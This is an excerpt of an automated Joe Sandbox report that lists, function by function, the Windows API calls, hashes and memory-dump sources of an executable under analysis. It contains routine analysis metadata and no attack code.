Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: b926de8db134c21fec1e25cc731bed11f1620b94bf7984f0d2676faed3b4e7cb
Instruction ID: 929432cb1f5c9e719011b269d47843b52c6a4f0fdd86d12467481ae8d1c042ff
Opcode Fuzzy Hash: b926de8db134c21fec1e25cc731bed11f1620b94bf7984f0d2676faed3b4e7cb
Instruction Fuzzy Hash: A511C476904258BBCB01DFED9D09FEE7FACEB45320F154659F924E3291D7B0890487A4

Function 00A8D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00A8CFF9,00000000,00000004,00000000), ref: 00A8D218
GetLastError.KERNEL32 ref: 00A8D224
__dosmaperr.LIBCMT ref: 00A8D22B
ResumeThread.KERNEL32(00000000), ref: 00A8D249

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: bb5914b5917268d0ccc9b8b7b1d8e17a6d7c9152d228d9a13801c888cb6c52e9
Instruction ID: 43ad4789b936f56d6469897e2ff3a2e89365e69e686c06c8e3dbbce0e874d51e
Opcode Fuzzy Hash: bb5914b5917268d0ccc9b8b7b1d8e17a6d7c9152d228d9a13801c888cb6c52e9
Instruction Fuzzy Hash: C1019236805209BBDB11BBE6DC09BEE7B69EF81771F104319F925961E0EB718911C7A0

Function 00A6600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00A6604C
GetStockObject.GDI32(00000011), ref: 00A66060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00A6606A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: c6623ad6f6e2e665947897ea629fe198f30384e0a22a655ac91047f3865f4c36
Instruction ID: 46595f1bfc2ce75213eed0504e0c9c38d888a3542363f7e9c56eedc787d8d64b
Opcode Fuzzy Hash: c6623ad6f6e2e665947897ea629fe198f30384e0a22a655ac91047f3865f4c36
Instruction Fuzzy Hash: 9011AD72101508BFEF129FE48C44EEABF7DEF083A5F054225FA0452010D7329C60DBA0

Function 00A83B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00A83B56

Part of subcall function 00A83AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00A83AD2
Part of subcall function 00A83AA3: ___AdjustPointer.LIBCMT ref: 00A83AED

_UnwindNestedFrames.LIBCMT ref: 00A83B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00A83B7C
CallCatchBlock.LIBVCRUNTIME ref: 00A83BA4

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 488055da5aded65928cba4c99591588721a73ec2a2fd290d181228f43f1dd3af
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 5701D772100149BBDF126F95CD46EEB7B69EF58B54F044014FE4856121D632E9619BA0

Function 00A93073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00A613C6,00000000,00000000,?,00A9301A,00A613C6,00000000,00000000,00000000,?,00A9328B,00000006,FlsSetValue), ref: 00A930A5
GetLastError.KERNEL32(?,00A9301A,00A613C6,00000000,00000000,00000000,?,00A9328B,00000006,FlsSetValue,00B02290,FlsSetValue,00000000,00000364,?,00A92E46), ref: 00A930B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00A9301A,00A613C6,00000000,00000000,00000000,?,00A9328B,00000006,FlsSetValue,00B02290,FlsSetValue,00000000), ref: 00A930BF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: d321ade3f62bcea196587b72cdde19adfd548cde17399ee399273b5464ffe319
Instruction ID: c077b41b3c10c5d9e8cee0937a5c5143dc9cd8078bfc2a1c15b3fc68e7267be8
Opcode Fuzzy Hash: d321ade3f62bcea196587b72cdde19adfd548cde17399ee399273b5464ffe319
Instruction Fuzzy Hash: 13018433711226ABDF318BB9AC4496B7BF8AF45BB1B214624F916E7140DB21DD06C6E0

Function 00AC7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00AC747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00AC7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00AC74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00AC74CA

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 42900c3d4c8032483b85ca53b6c1b9293b87da9f42ed83ae94714585e040dcdf
Instruction ID: fb4d596bfcfc5b9d4eb5f09a38b64966d40a72a6a3cb2558a663bdeb9a628165
Opcode Fuzzy Hash: 42900c3d4c8032483b85ca53b6c1b9293b87da9f42ed83ae94714585e040dcdf
Instruction Fuzzy Hash: 9711ADB5205314ABE720CF98DE09FAABFFCEB00B10F11856DA626D6191D7B0E904DF60

Function 00ACB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00ACACD3,?,00008000), ref: 00ACB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00ACACD3,?,00008000), ref: 00ACB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00ACACD3,?,00008000), ref: 00ACB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00ACACD3,?,00008000), ref: 00ACB126

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: a651003e8ebc171eb632addc95ea9937ca963a2a2458d74a4d48d0c6bb110ddf
Instruction ID: 694dcfd277f343ee6626ce2c085e92dee0de0cb12cf32f273ff693c5ac6507ae
Opcode Fuzzy Hash: a651003e8ebc171eb632addc95ea9937ca963a2a2458d74a4d48d0c6bb110ddf
Instruction Fuzzy Hash: 19112A31C1152CD7CF00DFE5E95ABEEBB78BF09711F124289D941B2181CB315951CB66

Function 00AC2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00AC2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00AC2DD6
GetCurrentThreadId.KERNEL32 ref: 00AC2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00AC2DE4

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: e98b71b8da5c99b5669fe5cd8b655cec8c5df3612abc04e2b0ac93e02694935e
Instruction ID: d23c46f6ea5d57800747857adb0cac7423a585f19c34275897ca6105e8802645
Opcode Fuzzy Hash: e98b71b8da5c99b5669fe5cd8b655cec8c5df3612abc04e2b0ac93e02694935e
Instruction Fuzzy Hash: BAE06D711052287AD7205BE39D0DFFB7E6CEF52BB1F011119B106D50809AA08942C6B0

Function 00AF8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00A79639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A79693
Part of subcall function 00A79639: SelectObject.GDI32(?,00000000), ref: 00A796A2
Part of subcall function 00A79639: BeginPath.GDI32(?), ref: 00A796B9
Part of subcall function 00A79639: SelectObject.GDI32(?,00000000), ref: 00A796E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00AF8887
LineTo.GDI32(?,?,?), ref: 00AF8894
EndPath.GDI32(?), ref: 00AF88A4
StrokePath.GDI32(?), ref: 00AF88B2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 7653a7af3ac701e60121f066abc7610d56084455cf86c329b2b61b5a2a8305fc
Instruction ID: 1a394f15bdceca2ada97a9778706de23bf084704d468eff139e104a3c61946cd
Opcode Fuzzy Hash: 7653a7af3ac701e60121f066abc7610d56084455cf86c329b2b61b5a2a8305fc
Instruction Fuzzy Hash: 82F03A36041259BADB129FD5AD09FEE3E59AF06360F148101FA11650E1CB795522CBE9

Function 00A798B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00A798CC
SetTextColor.GDI32(?,?), ref: 00A798D6
SetBkMode.GDI32(?,00000001), ref: 00A798E9
GetStockObject.GDI32(00000005), ref: 00A798F1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 41e00b1ebd717d9e25c8176eeff595fc92dcaf9c8ed3a45cd8fdb492496163a9
Instruction ID: 7aac3163a284aa8ce82518647fa47f3582ed6658821d0231dc207d09fed956c1
Opcode Fuzzy Hash: 41e00b1ebd717d9e25c8176eeff595fc92dcaf9c8ed3a45cd8fdb492496163a9
Instruction Fuzzy Hash: BFE06531244244AADB219BF5AD09BFD3F14EB51336F14C319F6FA580E1C3724651DB10

Function 00AC162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00AC1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00AC11D9), ref: 00AC163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00AC11D9), ref: 00AC1648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00AC11D9), ref: 00AC164F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 34bb1df727a8ce7f864085d13546c8e8de43d58d25729b30f20d2a7d059105f1
Instruction ID: 22a6fcf93f5691db3a5a1adb194a088267adcf59b132b47685e348589de661bc
Opcode Fuzzy Hash: 34bb1df727a8ce7f864085d13546c8e8de43d58d25729b30f20d2a7d059105f1
Instruction Fuzzy Hash: F4E08632601215DBDB205FF29F0DFA63B7CEF457A5F154808F245C9080DB344546C750

Function 00ABD858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00ABD858
GetDC.USER32(00000000), ref: 00ABD862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00ABD882
ReleaseDC.USER32(?), ref: 00ABD8A3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 04490a20a3aec7aa0e1e8dbc9af4c51494e39e5ab760ee2c898df63bfaeb5e15
Instruction ID: 54ebb694e27e4a3a1e79738d58a3e28dba139a125a4c079efc75e41fd9999150
Opcode Fuzzy Hash: 04490a20a3aec7aa0e1e8dbc9af4c51494e39e5ab760ee2c898df63bfaeb5e15
Instruction Fuzzy Hash: 45E01AB0804208DFCB81DFE1DA08A7DBBB5FB08321F109409E846E7350CB384902EF40

Function 00ABD86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00ABD86C
GetDC.USER32(00000000), ref: 00ABD876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00ABD882
ReleaseDC.USER32(?), ref: 00ABD8A3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: de1ea2586b27da81aeac7c81cc75518a230189e31ad0e5f64b65e056e6bb33b8
Instruction ID: d8ef82505fab9238f35972ed32f669bf80c58b94358fe2a33defa124807dba99
Opcode Fuzzy Hash: de1ea2586b27da81aeac7c81cc75518a230189e31ad0e5f64b65e056e6bb33b8
Instruction Fuzzy Hash: 89E09A75804208DFCB91DFE5DA0867DBBB5FB08321B149449E94AE7350CB795906DF50

Function 00AD4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00A67620: _wcslen.LIBCMT ref: 00A67625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00AD4ED4

Strings

*, xrefs: 00AD4E10
LPT, xrefs: 00AD4DFB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: ec28ab676a45bb97d5eba845dd8f0f3477c9ea7b8ef12264567e6b535142e7e5
Instruction ID: 42d924a068a62179c360f267fb9d6ea18e8fbe8c2f8b8d305891321fca86d683
Opcode Fuzzy Hash: ec28ab676a45bb97d5eba845dd8f0f3477c9ea7b8ef12264567e6b535142e7e5
Instruction Fuzzy Hash: 87915075A00244AFCB14DF58C584EAABBF1BF48704F18809AE40A9F362D735EE85CB91

Function 00A8E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00A8E30D

Strings

pow, xrefs: 00A8E2E5, 00A8E302

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 6461d8b499ef39fda81cb4047ba8f120c8e61aa5bef43ddc2284508885c507ad
Instruction ID: 51b048eed9b9357eb4ae4bd22522f787980c0777842416708fe5c3a3e6a06d71
Opcode Fuzzy Hash: 6461d8b499ef39fda81cb4047ba8f120c8e61aa5bef43ddc2284508885c507ad
Instruction Fuzzy Hash: FC514771B2C202D6CF15F718CA057BE3BE4EB50B40F304998E0D6872A9EF358C859B96

Function 00A7E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00A7E1B1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: d3867b5e06dd8791f83ae8d303968c0d2ceb9d5eac70fcd0ce2031a30e791198
Instruction ID: 7ad343f818c21938b8ec6d527f1001804d8a8cbf1a116b92bfdb69941c36b5d8
Opcode Fuzzy Hash: d3867b5e06dd8791f83ae8d303968c0d2ceb9d5eac70fcd0ce2031a30e791198
Instruction Fuzzy Hash: 55512575604246EFDF15DF68C4816FA7BB8EF29310F24C095EC919B2D2DA309D82DB90

Function 00A7F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00A7F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00A7F2BB

Strings

@, xrefs: 00A7F2AF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: a50edc0d43e9d9a941e0a336ab963220e1d05dae304c693a3fcf025b2d03e5e6
Instruction ID: e6fa58b6ca0551dc1145e4dc7b938b1e9a53884ba740f3378f00f623c038f442
Opcode Fuzzy Hash: a50edc0d43e9d9a941e0a336ab963220e1d05dae304c693a3fcf025b2d03e5e6
Instruction Fuzzy Hash: 0C5175714187449BD320AF50DD86BAFBBF8FB84714F81884CF2D9410A5EB718529CB66

Function 00AE5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00AE57E0
_wcslen.LIBCMT ref: 00AE57EC

Strings

CALLARGARRAY, xrefs: 00AE57E6, 00AE57EB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 2f0aa118bbb3d0f12f7e636c141125a38d66cf6f93db90568e4a26163be8d74c
Instruction ID: f61f85b39b3effe603e502b2ae0c05c56564deace2337a41998315076b95bbcc
Opcode Fuzzy Hash: 2f0aa118bbb3d0f12f7e636c141125a38d66cf6f93db90568e4a26163be8d74c
Instruction Fuzzy Hash: FE41AF31E002099FCB14DFBADA819BEBBF5FF59328F148169E505A7251E7309D81DB90

Function 00ADD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00ADD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00ADD13A
